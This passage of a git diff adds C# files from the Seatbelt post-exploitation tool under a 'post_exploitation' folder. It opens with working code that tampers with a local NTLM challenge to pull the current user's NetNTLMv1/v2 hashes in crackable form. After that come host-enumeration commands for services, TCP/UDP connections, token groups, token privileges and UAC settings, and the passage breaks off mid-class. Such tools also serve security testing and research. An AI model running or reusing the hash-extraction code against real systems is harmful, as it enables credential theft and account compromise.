Exception($"AcquireCredentialsHandle failed. Error: 0x{result:x8}"); + + // Get a type-1 message from NTLM SSP + result = Secur32.InitializeSecurityContext( + ref cred, + IntPtr.Zero, + IntPtr.Zero, + 0x00000800, // SECPKG_FLAG_NEGOTIABLE + 0, + 0x10, // SECURITY_NATIVE_DREP + IntPtr.Zero, + 0, + out clientContext, + out clientToken, + out _, + out clientLifeTime + ); + if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED) + throw new Exception($"InitializeSecurityContext failed. Error: 0x{result:x8}"); + + // Get a type-2 message from NTLM SSP (Server) + result = AcceptSecurityContext( + ref cred, + IntPtr.Zero, + ref clientToken, + 0x00000800, // ASC_REQ_CONNECTION + 0x10, // SECURITY_NATIVE_DREP + out serverContext, + out serverToken, + out _, + out clientLifeTime + ); + if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED) + throw new Exception($"AcceptSecurityContext failed. Error: 0x{result:x8}"); + + // Tamper with the CHALLENGE message + var serverMessage = serverToken.ToArray(); + var challengeBytes = StringToByteArray(challenge); + if (DisableESS) + { + serverMessage[22] = (byte)(serverMessage[22] & 0xF7); + } + + //Replace Challenge + Array.Copy(challengeBytes, 0, serverMessage, 24, 8); + //Reset reserved bytes to avoid local authentication + Array.Copy(new byte[16], 0, serverMessage, 32, 16); + + + var newServerToken = new SecBufferDesc(serverMessage); + result = InitializeSecurityContext( + ref cred, + ref clientContext, + IntPtr.Zero, + 0x00000800, // SECPKG_FLAG_NEGOTIABLE + 0, + 0x10, // SECURITY_NATIVE_DREP + ref newServerToken, + 0, + out newClientContext, + out newClientToken, + out _, + out clientLifeTime + ); + + var clientTokenBytes = newClientToken.ToArray(); + newServerToken.Dispose(); + + if (result == SEC_E_OK) + return ParseNTResponse(clientTokenBytes, challenge); + else if (result == SEC_E_NO_CREDENTIALS) + { + WriteVerbose("The NTLM security package does not contain any credentials"); + return null; + } + else if (DisableESS) + { + return GetNtlmCreds(challenge, false); + } + else + throw new Exception($"InitializeSecurityContext (client) failed. Error: 0x{result:x8}"); + } + catch (Exception e) + { + throw e; + } + finally + { + clientToken.Dispose(); + newClientToken.Dispose(); + serverToken.Dispose(); + + if (cred.LowPart != IntPtr.Zero && cred.HighPart != IntPtr.Zero) + FreeCredentialsHandle(ref cred); + + if (clientContext.LowPart != IntPtr.Zero && clientContext.HighPart != IntPtr.Zero) + DeleteSecurityContext(ref clientContext); + + if (newClientContext.LowPart != IntPtr.Zero && newClientContext.HighPart != IntPtr.Zero) + DeleteSecurityContext(ref newClientContext); + + if (serverContext.LowPart != IntPtr.Zero && serverContext.HighPart != IntPtr.Zero) + DeleteSecurityContext(ref serverContext); + } + } + + //This function parses the NetNTLM response from a type-3 message + private NtlmHashDTO ParseNTResponse(byte[] message, string challenge) + { + var lm_resp_len = BitConverter.ToUInt16(message, 12); + var lm_resp_off = BitConverter.ToUInt32(message, 16); + var nt_resp_len = BitConverter.ToUInt16(message, 20); + var nt_resp_off = BitConverter.ToUInt32(message, 24); + var domain_len = BitConverter.ToUInt16(message, 28); + var domain_off = BitConverter.ToUInt32(message, 32); + var user_len = BitConverter.ToUInt16(message, 36); + var user_off = BitConverter.ToUInt32(message, 40); + var lm_resp = new byte[lm_resp_len]; + var nt_resp = new byte[nt_resp_len]; + var domain = new byte[domain_len]; + var user = new byte[user_len]; + Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len); + Array.Copy(message, nt_resp_off, nt_resp, 0, nt_resp_len); + Array.Copy(message, domain_off, domain, 0, domain_len); + Array.Copy(message, user_off, user, 0, user_len); + + + if (nt_resp_len == 24) + { + return new NtlmHashDTO( + "NetNTLMv1", + FormatNetNtlmV1Hash(challenge, user, domain, lm_resp, nt_resp) + ); + } + else if (nt_resp_len > 24) + { + return new NtlmHashDTO( + "NetNTLMv2", + FormatNetNtlmV2Hash(challenge, user, domain, nt_resp.SubArray(0, 16), nt_resp.SubArray(16, nt_resp.Length - 16)) + ); + } + else + { + throw new Exception($"Couldn't parse nt_resp. Len: {nt_resp_len} Message bytes: {ByteArrayToString(message)}"); + } + } + + private string FormatNetNtlmV1Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp) + { + return string.Format( + "{0}::{1}:{2}:{3}:{4}", + Encoding.Unicode.GetString(user), + Encoding.Unicode.GetString(domain), + ByteArrayToString(lm_resp), + ByteArrayToString(nt_resp), + challenge + ); + } + + private string FormatNetNtlmV2Hash(string challenge, byte[] user, byte[] domain, byte[] lm_resp, byte[] nt_resp) + { + return string.Format( + "{0}::{1}:{2}:{3}:{4}", + Encoding.Unicode.GetString(user), + Encoding.Unicode.GetString(domain), + challenge, + ByteArrayToString(lm_resp), + ByteArrayToString(nt_resp) + ); + } + + //This function is taken from https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa + public static byte[] StringToByteArray(string hex) + { + var numChars = hex.Length; + var bytes = new byte[numChars / 2]; + for (var i = 0; i < numChars; i += 2) + bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); + return bytes; + } + + //The following function is taken from https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa + private string ByteArrayToString(byte[] ba) + { + var hex = new StringBuilder(ba.Length * 2); + foreach (var b in ba) + hex.AppendFormat("{0:x2}", b); + return hex.ToString(); + } + } + + internal class NtlmHashDTO : CommandDTOBase + { + public NtlmHashDTO(string version, string hash) + { + Version = version; + Hash = hash; + } + + public string Version { get; } + public string Hash { get; } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ServicesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ServicesCommand.cs new file mode 100644 index 0000000..ed92fe6 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/ServicesCommand.cs @@ -0,0 +1,279 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Security.AccessControl; +using System.Text.RegularExpressions; +using Microsoft.Win32; +using Seatbelt.Util; + +namespace Seatbelt.Commands.Windows +{ + internal class ServicesCommand : CommandBase + { + public override string Command => "Services"; + public override string Description => "Services with file info company names that don't contain 'Microsoft', \"-full\" dumps all processes"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => false; // tracking back some of the service stuff needs local API calls + + public ServicesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // lists installed services that don't have "Microsoft Corporation" as the company name in their file info + // or all services if "-full" is passed + + WriteHost(Runtime.FilterResults ? "Non Microsoft Services (via WMI)\n" : "All Services (via WMI)\n"); + + var wmiData = new ManagementObjectSearcher(@"root\cimv2", "SELECT * FROM win32_service"); + var data = wmiData.Get(); + + foreach (ManagementObject result in data) + { + string? serviceName = (string)result["Name"]; + + if (args.Length > 0 && !args.Contains(serviceName)) continue; + + string? companyName = null; + string? description = null; + string? version = null; + string? binaryPathSddl = null; + bool? isDotNet = null; + + string? serviceCommand = GetServiceCommand(result); + string? binaryPath = serviceCommand == null ? null : GetServiceBinaryPath(serviceCommand); + string? serviceDll = serviceName == null ? null : GetServiceDll(serviceName); + + + // ServiceDll could be null if access to the Parameters key is denied + // - Examples: The lmhosts service on Win10 as an unprivileged user + if (binaryPath != null && binaryPath.ToLower().EndsWith("\\svchost.exe") && serviceDll != null) + { + binaryPath = serviceDll; + } + + if (!string.IsNullOrEmpty(binaryPath) && File.Exists(binaryPath)) + { + try + { + var myFileVersionInfo = FileVersionInfo.GetVersionInfo(binaryPath); + companyName = myFileVersionInfo.CompanyName; + description = myFileVersionInfo.FileDescription; + version = myFileVersionInfo.FileVersion; + } + catch + { + // ignored + } + + + if (Runtime.FilterResults && args.Length == 0) + { + if (companyName != null && Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)) + { + continue; + } + } + + isDotNet = binaryPath == null ? null : (bool?)FileUtil.IsDotNetAssembly(binaryPath); + + try + { + binaryPathSddl = File.GetAccessControl(binaryPath) + .GetSecurityDescriptorSddlForm(AccessControlSections.Owner | AccessControlSections.Access); + } + catch (UnauthorizedAccessException) + { + WriteWarning($"Could not get the SDDL of service binary '{binaryPath}': Access denied"); + } + } + + var serviceSddl = serviceName == null ? null : TryGetServiceSddl(serviceName); + + yield return new ServicesDTO( + serviceName, + (string)result["DisplayName"], + (string)result["Description"], + (string)result["StartName"], + (string)result["State"], + (string)result["StartMode"], + serviceCommand, + binaryPath, + binaryPathSddl, + serviceDll, + serviceSddl, + companyName, + description, + version, + isDotNet + ); + } + } + + private string? TryGetServiceSddl(string serviceName) + { + try + { + var info = SecurityUtil.GetSecurityInfos(serviceName, Interop.Advapi32.SE_OBJECT_TYPE.SE_SERVICE); + return info.SDDL; + } + catch + { + return null; + } + } + + + private string? GetServiceDll(string serviceName) + { + // ServiceDll's can be at the following locations + // - HKLM\\SYSTEM\\CurrentControlSet\\Services\\ ! ServiceDll + // - Ex: DoSvc on Win10 + // - HKLM\\SYSTEM\\CurrentControlSet\\Services\\Parameters ! ServiceDll + // - Ex: DnsCache on Win10 + + string? path = null; + + try + { + path = RegistryUtil.GetStringValue(RegistryHive.LocalMachine, $"SYSTEM\\CurrentControlSet\\Services\\{serviceName}\\Parameters", "ServiceDll"); + } + catch + { + } + + if (path != null) + return path; + + try + { + path = RegistryUtil.GetStringValue(RegistryHive.LocalMachine, $"SYSTEM\\CurrentControlSet\\Services\\{serviceName}", "ServiceDll"); + } + catch + { + // ignored + } + + return path; + } + + private string? GetServiceCommandFromRegistry(string serviceName) + { + try + { + return RegistryUtil.GetStringValue(RegistryHive.LocalMachine, $"SYSTEM\\CurrentControlSet\\Services\\{serviceName}", "ImagePath"); + } + catch + { + return null; + } + } + + // TODO: Parsing binary paths is hard... + // - 1) We don't account for PATHEXT + // - Example image path: C:\windows\system32\cmd + // - 2) We don't account for the PATH environment variable + // - Example image path: cmd.exe + // - Example image path: cmd (combination of 1 & 2) + // - 3) We don't account for per-user services in Win 10 (see https://docs.microsoft.com/en-us/windows/application-management/per-user-services-in-windows) + private string GetServiceBinaryPath(string command) + { + //// The "Path Name" for a service can include a fully quoted path (that includes spaces), as well as + //// Program arguments (such as the ones that live inside svchost). Some paths, such as Carbon Black's agent) + //// don't even have a file extension. So it's fair to say that if there are quotes, we'll take what's inside + //// them, otherwise we'll split on spaces and take the first entry, regardless of its extension). + //// Example: "C:\Program Files\Windows Defender\MsMpEng.exe" + //if (command.StartsWith("\"")) + //{ + // // Quotes are present, so split on quotes. Given that this is a service path, + // // it's fair to assume that the path is valid (otherwise the service wouldn't + // // be installed) and so we can just rip out the bit between the quotes. This + // // split should result in a minimum of 2 parts, so taking the second should + // // give us what we need. + // return command.Split('"')[1]; + //} + //else + //{ + // // Exmaple image paths we have to deal with: + // // 1) C:\Program Files\Windows Identity Foundation\v3.5\c2wtshost.exe + // // 2) C:\WINDOWS\system32\msiexec.exe /V + // // 3) C:\WINDOWS\system32\svchost.exe -k appmodel -p + // if (File.Exists(command)) // Case 1 + // { + // return command; + // } + // else // Case 2 & 3 + // { + // return command.Split(' ')[0]; + // } + //} + + var path = Regex.Match(command, @"^\W*([a-z]:\\.+?(\.exe|\.dll|\.sys))\W*", RegexOptions.IgnoreCase); + return path.Groups[1].ToString(); + } + + private string? GetServiceCommand(ManagementObject result) + { + // Get the service's path. Sometimes result["PathName"] is not populated, so + // in those cases we'll try and get the value from the registry. The converse is + // also true - sometimes we can't acccess a registry key, but result["PathName"] + // is populated + string? serviceCommand; + if (result["PathName"] != null) + { + serviceCommand = ((string)result["PathName"]).Trim(); + if (serviceCommand == string.Empty) + { + serviceCommand = GetServiceCommandFromRegistry((string)result["Name"]); + } + } + else + { + serviceCommand = GetServiceCommandFromRegistry((string)result["Name"]); + } + + return serviceCommand; + } + } + + internal class ServicesDTO : CommandDTOBase + { + public ServicesDTO(string? name, string? displayName, string? description, string? user, string? state, string? startMode, string? serviceCommand, string? binaryPath, string? binaryPathSddl, string? serviceDll, string? serviceSddl, string? companyName, string? fileDescription, string? version, bool? isDotNet) + { + Name = name; + DisplayName = displayName; + Description = description; + User = user; + State = state; + StartMode = startMode; + ServiceCommand = serviceCommand; + BinaryPath = binaryPath; + BinaryPathSDDL = binaryPathSddl; + ServiceDll = serviceDll; + ServiceSDDL = serviceSddl; + CompanyName = companyName; + FileDescription = fileDescription; + Version = version; + IsDotNet = isDotNet; + } + public string? Name { get; set; } + public string? DisplayName { get; set; } + public string? Description { get; set; } + public string? User { get; set; } + public string? State { get; set; } + public string? StartMode { get; set; } + public string? ServiceCommand { get; set; } + public string? BinaryPath { get; set; } + public string? BinaryPathSDDL { get; set; } + public string? ServiceDll { get; set; } + public string? ServiceSDDL { get; set; } + public string? CompanyName { get; set; } + public string? FileDescription { get; set; } + public string? Version { get; set; } + public bool? IsDotNet { get; set; } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TCPConnectionsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TCPConnectionsCommand.cs new file mode 100644 index 0000000..fd49ff8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TCPConnectionsCommand.cs @@ -0,0 +1,159 @@ +using Seatbelt.Interop; +using System; +using System.Collections.Generic; +using System.Management; +using System.Runtime.InteropServices; +using Seatbelt.Output.Formatters; +using static Seatbelt.Interop.Iphlpapi; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class TcpConnectionsCommand : CommandBase + { + public override string Command => "TcpConnections"; + public override string Description => "Current TCP connections and their associated processes and services"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; + + public TcpConnectionsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var AF_INET = 2; // IP_v4 + uint tableBufferSize = 0; + var tableBuffer = IntPtr.Zero; + var rowPtr = IntPtr.Zero; + var processes = new Dictionary(); + + WriteHost(" Local Address Foreign Address State PID Service ProcessName"); + + try + { + // Adapted from https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660 + // Build a PID -> process name lookup table + var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Process"); + var retObjectCollection = searcher.Get(); + + foreach (ManagementObject Process in retObjectCollection) + { + if (Process["CommandLine"] != null) + { + processes.Add(Process["ProcessId"].ToString(), Process["CommandLine"].ToString()); + } + else + { + processes.Add(Process["ProcessId"].ToString(), Process["Name"].ToString()); + } + } + + // Figure out how much memory we need for the result struct + var ret = GetExtendedTcpTable(IntPtr.Zero, ref tableBufferSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_MODULE_ALL, 0); + if (ret != Win32Error.Success && ret != Win32Error.InsufficientBuffer) + { + // 122 == insufficient buffer size + WriteError($"Bad check value from GetExtendedTcpTable : {ret}"); + yield break; + } + + tableBuffer = Marshal.AllocHGlobal((int)tableBufferSize); + + ret = GetExtendedTcpTable(tableBuffer, ref tableBufferSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_MODULE_ALL, 0); + if (ret != Win32Error.Success) + { + WriteError($"Bad return value from GetExtendedTcpTable : {ret}"); + yield break; + } + + // get the number of entries in the table + var ownerModuleTable = (MIB_TCPTABLE_OWNER_MODULE)Marshal.PtrToStructure(tableBuffer, typeof(MIB_TCPTABLE_OWNER_MODULE)); + rowPtr = (IntPtr)(tableBuffer.ToInt64() + Marshal.OffsetOf(typeof(MIB_TCPTABLE_OWNER_MODULE), "Table").ToInt64()); + var TcpRows = new MIB_TCPROW_OWNER_MODULE[ownerModuleTable.NumEntries]; + + for (var i = 0; i < ownerModuleTable.NumEntries; i++) + { + var tcpRow = + (MIB_TCPROW_OWNER_MODULE)Marshal.PtrToStructure(rowPtr, typeof(MIB_TCPROW_OWNER_MODULE)); + TcpRows[i] = tcpRow; + // next entry + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow)); + } + + foreach (var entry in TcpRows) + { + string? processName = null; + try + { + processName = processes[entry.OwningPid.ToString()]; + } + catch { } + + var serviceName = Advapi32.GetServiceNameFromTag(entry.OwningPid, (uint)entry.OwningModuleInfo0); + + + yield return new TcpConnectionsDTO( + entry.LocalAddress.ToString(), + entry.LocalPort, + entry.RemoteAddress.ToString(), + entry.RemotePort, + entry.State, + entry.OwningPid, + serviceName, + processName + ); + } + } + finally + { + if (tableBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(tableBuffer); + } + } + } + } + + internal class TcpConnectionsDTO : CommandDTOBase + { + public TcpConnectionsDTO(string localAddress, ushort localPort, string remoteAddress, ushort remotePort, MIB_TCP_STATE state, uint processId, string? service, string? command) + { + LocalAddress = localAddress; + LocalPort = localPort; + RemoteAddress = remoteAddress; + RemotePort = remotePort; + State = state; + ProcessId = processId; + Service = service; + Command = command; + } + + public string LocalAddress { get; } + public ushort LocalPort { get; } + public string RemoteAddress { get; } + public ushort RemotePort { get; } + public MIB_TCP_STATE State { get; } + public uint ProcessId { get; } + public string? Service { get; } + public string? Command { get; } + } + + [CommandOutputType(typeof(TcpConnectionsDTO))] + internal class TcpConnectionsTextFormatter : TextFormatterBase + { + public TcpConnectionsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + if (result != null) + { + var dto = (TcpConnectionsDTO)result; + WriteLine(" {0,-23}{1,-23}{2,-11}{3,-6}{4,-15} {5}", dto.LocalAddress + ":" + dto.LocalPort, dto.RemoteAddress + ":" + dto.RemotePort, dto.State, dto.ProcessId, dto.Service, dto.Command); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenGroupCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenGroupCommand.cs new file mode 100644 index 0000000..fca00a5 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenGroupCommand.cs @@ -0,0 +1,71 @@ +using System.Collections.Generic; +using System.Security.Principal; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class TokenGroupCommand : CommandBase + { + public override string Command => "TokenGroups"; + public override string Description => "The current token's local and domain groups"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + + public TokenGroupCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + WriteHost("Current Token's Groups\n"); + + var wi = WindowsIdentity.GetCurrent(); + + foreach (var group in wi.Groups) + { + var groupName = ""; + + try + { + groupName = group.Translate(typeof(NTAccount)).ToString(); + } + catch { } + + yield return new TokenGroupsDTO( + $"{(SecurityIdentifier)group}", + groupName + ); + } + } + } + + internal class TokenGroupsDTO : CommandDTOBase + { + public TokenGroupsDTO(string groupSid, string groupName) + { + GroupSID = groupSid; + GroupName = groupName; + } + + //public System.Security.Principal.SecurityIdentifier GroupSID { get; set; } + public string GroupSID { get; set; } + public string GroupName { get; set; } + } + + [CommandOutputType(typeof(TokenGroupsDTO))] + internal class TokenGroupsTextFormatter : TextFormatterBase + { + public TokenGroupsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (TokenGroupsDTO)result; + + WriteLine(" {0,-40} {1}", dto.GroupName, dto.GroupSID); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenPrivilegesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenPrivilegesCommand.cs new file mode 100644 index 0000000..fc21eae --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/TokenPrivilegesCommand.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Security.Principal; +using static Seatbelt.Interop.Advapi32; +using static Seatbelt.Interop.Secur32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + // TODO: Most privileges are disabled by default. Better to move this to SharpUp? + internal class TokenPrivilegesCommand : CommandBase + { + public override string Command => "TokenPrivileges"; + public override string Description => "Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; + + public TokenPrivilegesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // Returns all privileges that the current process/user possesses + // adapted from https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni + + WriteHost("Current Token's Privileges\n"); + + var TokenInfLength = 0; + var ThisHandle = WindowsIdentity.GetCurrent().Token; + GetTokenInformation(ThisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength); + var TokenInformation = Marshal.AllocHGlobal(TokenInfLength); + if (GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, out TokenInfLength)) + { + var ThisPrivilegeSet = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_PRIVILEGES)); + for (var index = 0; index < ThisPrivilegeSet.PrivilegeCount; index++) + { + var laa = ThisPrivilegeSet.Privileges[index]; + var StrBuilder = new System.Text.StringBuilder(); + var luidNameLen = 0; + var luidPointer = Marshal.AllocHGlobal(Marshal.SizeOf(laa.Luid)); + Marshal.StructureToPtr(laa.Luid, luidPointer, true); + LookupPrivilegeName(null, luidPointer, null, ref luidNameLen); + StrBuilder.EnsureCapacity(luidNameLen + 1); + if (LookupPrivilegeName(null, luidPointer, StrBuilder, ref luidNameLen)) + { + var strPrivilege = StrBuilder.ToString(); + var strAttributes = String.Format("{0}", (LuidAttributes)laa.Attributes); + Marshal.FreeHGlobal(luidPointer); + + yield return new TokenPrivilegesDTO( + strPrivilege, + strAttributes + ); + } + + } + } + } + } + + internal class TokenPrivilegesDTO : CommandDTOBase + { + public TokenPrivilegesDTO(string privilege, string attributes) + { + Privilege = privilege; + Attributes = attributes; + } + + public string Privilege { get; set; } + public string Attributes { get; set; } + } + + [CommandOutputType(typeof(TokenPrivilegesDTO))] + internal class TokenPrivilegesTextFormatter : TextFormatterBase + { + public TokenPrivilegesTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (TokenPrivilegesDTO)result; + + WriteLine(" {0,43}: {1}", dto.Privilege, dto.Attributes); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UDPConnectionsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UDPConnectionsCommand.cs new file mode 100644 index 0000000..45793fe --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UDPConnectionsCommand.cs @@ -0,0 +1,150 @@ +using Seatbelt.Interop; +using System; +using System.Collections.Generic; +using System.Management; +using System.Runtime.InteropServices; +using Seatbelt.Output.Formatters; +using static Seatbelt.Interop.Iphlpapi; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class UdpConnectionsCommand : CommandBase + { + public override string Command => "UdpConnections"; + public override string Description => "Current UDP connections and associated processes and services"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; + + public UdpConnectionsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var AF_INET = 2; // IP_v4 + uint tableBufferSize = 0; + var tableBuffer = IntPtr.Zero; + var rowPtr = IntPtr.Zero; + var processes = new Dictionary(); + + WriteHost(" Local Address PID Service ProcessName"); + + try + { + // Adapted from https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660 + // Build a PID -> process name lookup table + var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Process"); + var retObjectCollection = searcher.Get(); + + foreach (ManagementObject Process in retObjectCollection) + { + if (Process["CommandLine"] != null) + { + processes.Add(Process["ProcessId"].ToString(), Process["CommandLine"].ToString()); + } + else + { + processes.Add(Process["ProcessId"].ToString(), Process["Name"].ToString()); + } + } + + // Figure out how much memory we need for the result struct + + var ret = GetExtendedUdpTable(IntPtr.Zero, ref tableBufferSize, true, AF_INET, UDP_TABLE_CLASS.UDP_TABLE_OWNER_MODULE, 0); + if (ret != Win32Error.Success && ret != Win32Error.InsufficientBuffer) + { + // 122 == insufficient buffer size + WriteError($"Bad check value from GetExtendedUdpTable : {ret}"); + yield break; + } + + tableBuffer = Marshal.AllocHGlobal((int)tableBufferSize); + + ret = GetExtendedUdpTable(tableBuffer, ref tableBufferSize, true, AF_INET, UDP_TABLE_CLASS.UDP_TABLE_OWNER_MODULE, 0); + if (ret != Win32Error.Success) + { + WriteError($"Bad return value from GetExtendedUdpTable : {ret}"); + yield break; + } + + //// get the number of entries in the table + var ownerModuleTable = (MIB_UDPTABLE_OWNER_MODULE)Marshal.PtrToStructure(tableBuffer, typeof(MIB_UDPTABLE_OWNER_MODULE)); + rowPtr = (IntPtr)(tableBuffer.ToInt64() + Marshal.OffsetOf(typeof(MIB_UDPTABLE_OWNER_MODULE), "Table").ToInt64()); + var UdpRows = new MIB_UDPROW_OWNER_MODULE[ownerModuleTable.NumEntries]; + + for (var i = 0; i < ownerModuleTable.NumEntries; i++) + { + var udpRow = + (MIB_UDPROW_OWNER_MODULE)Marshal.PtrToStructure(rowPtr, typeof(MIB_UDPROW_OWNER_MODULE)); + UdpRows[i] = udpRow; + // next entry + rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(udpRow)); + } + + foreach (var entry in UdpRows) + { + var processName = ""; + try + { + processName = processes[entry.OwningPid.ToString()]; + } + catch { } + + var serviceName = Advapi32.GetServiceNameFromTag(entry.OwningPid, (uint)entry.OwningModuleInfo0); + + yield return new UdpConnectionsDTO( + entry.LocalAddress.ToString(), + entry.LocalPort, + entry.OwningPid, + serviceName, + processName + ); + } + } + finally + { + if (tableBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(tableBuffer); + } + } + + } + } + + internal class UdpConnectionsDTO : CommandDTOBase + { + public UdpConnectionsDTO(string localAddress, ushort localPort, uint processId, string? service, string processName) + { + LocalAddress = localAddress; + LocalPort = localPort; + ProcessId = processId; + Service = service; + ProcessName = processName; + } + public string LocalAddress { get; set; } + public ushort LocalPort { get; set; } + public uint ProcessId { get; set; } + public string? Service { get; set; } + public string ProcessName { get; set; } + } + + [CommandOutputType(typeof(UdpConnectionsDTO))] + internal class UdpConnectionsTextFormatter : TextFormatterBase + { + public UdpConnectionsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + if (result != null) + { + var dto = (UdpConnectionsDTO)result; + WriteLine(" {0,-23}{1,-7}{2,-23} {3}", dto.LocalAddress + ":" + dto.LocalPort, dto.ProcessId, dto.Service, dto.ProcessName); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserAccountControlCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserAccountControlCommand.cs new file mode 100644 index 0000000..2a4e56a --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/UserAccountControlCommand.cs @@ -0,0 +1,128 @@ +using System.Collections.Generic; +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Windows +{ + internal class UserAccountControlCommand : CommandBase + { + public override string Command => "UAC"; + public override string Description => "UAC system policies via the registry"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public UserAccountControlCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // dump out various UAC system policies + + var consentPromptBehaviorAdmin = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "ConsentPromptBehaviorAdmin"); + + var enableLua = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA"); + + var localAccountTokenFilterPolicy = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "LocalAccountTokenFilterPolicy"); + + var filterAdministratorToken = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "FilterAdministratorToken"); + + yield return new UserAccountControlDTO( + consentPromptBehaviorAdmin, + enableLua, + filterAdministratorToken, + localAccountTokenFilterPolicy + ); + } + + class UserAccountControlDTO : CommandDTOBase + { + public UserAccountControlDTO(uint? consentPromptBehaviorAdmin, uint? enableLua, uint? filterAdministratorToken, uint? localAccountTokenFilterPolicy) + { + ConsentPromptBehaviorAdmin = consentPromptBehaviorAdmin; + EnableLua = enableLua; + FilterAdministratorToken = filterAdministratorToken; + LocalAccountTokenFilterPolicy = localAccountTokenFilterPolicy; + } + public uint? ConsentPromptBehaviorAdmin { get; set; } + + public uint? EnableLua { get; set; } + + public uint? FilterAdministratorToken { get; set; } + + public uint? LocalAccountTokenFilterPolicy { get; set; } + } + + [CommandOutputType(typeof(UserAccountControlDTO))] + internal class UserAccountControlFormatter : TextFormatterBase + { 